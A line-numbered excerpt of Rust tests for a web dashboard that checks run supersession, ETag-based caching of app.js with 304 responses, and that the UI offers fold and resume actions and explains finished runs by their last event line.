5320 .cloned()
5321 .unwrap_or(Value::Null)
5322 };
5323 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
5324 assert!(
5325 by("bbbb")["superseded_by"].is_null(),
5326 "the latest attempt is not superseded by anything"
5327 );
5328 assert!(APP_JS.contains("run.superseded_by"));
5330 assert!(APP_JS.contains("Superseded by"));
5331 }
5332
5333 #[tokio::test]
5334 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
5335 let fx = Fixture::start().await;
5336 let js = fx.get("/app.js").await;
5342 assert_eq!(js.status, 200);
5343 let tag = js
5344 .header("etag")
5345 .expect("an etag to revalidate against")
5346 .to_owned();
5347 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
5348 assert_eq!(
5349 js.header("cache-control"),
5350 Some("no-cache, must-revalidate"),
5351 "the phone has to ask every time"
5352 );
5353
5354 let again = fx
5357 .get_with("/app.js", &[("if-none-match", tag.as_str())])
5358 .await;
5359 assert_eq!(
5360 again.status, 304,
5361 "a deck it already has costs one round trip"
5362 );
5363 assert!(again.body.is_empty(), "304 carries no body");
5364
5365 let weak = fx
5368 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
5369 .await;
5370 assert_eq!(weak.status, 304);
5371 let stale = fx
5372 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
5373 .await;
5374 assert_eq!(stale.status, 200, "an older build must be replaced");
5375 assert!(stale.body.contains("renderRunActions"));
5376 }
5377
5378 #[test]
5379 fn the_deck_never_sends_the_operator_to_a_terminal() {
5380 assert!(
5383 !APP_JS.contains("Run `magi fold` first"),
5384 "the deck must offer the fold, not prescribe a shell command"
5385 );
5386 assert!(APP_JS.contains("foldRun:"));
5387 assert!(APP_JS.contains("resumeRun:"));
5388 assert!(APP_JS.contains("renderRunActions"));
5389
5390 assert!(APP_JS.contains("armedFold"));
5392 assert!(APP_JS.contains("Yes, fold worktrees"));
5393
5394 assert!(APP_JS.contains("can no longer be resumed"));
5397 }
5398
5399 #[test]
5400 fn a_finished_run_explains_itself_with_its_own_last_line() {
5401 assert!(
5407 !APP_JS.contains("collapsed on agent quota"),
5408 "a stall must not be explained by a cause the deck did not check"
5409 );
5410 assert!(
5411 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
5412 "and a block must not offer a guess with an `or` in it"
5413 );
5414
5415 assert!(
5419 APP_JS.contains("setText(r.event, run.event || \"\")"),
5420 "the run's last line is rendered unconditionally"
5421 );
5422 assert!(
5423 !APP_JS.contains("moving && run.event"),
5424 "and never gated on the run still moving"
5425 );
5426
5427 assert!(APP_JS.contains("lost to quota"));
5429 }
5430}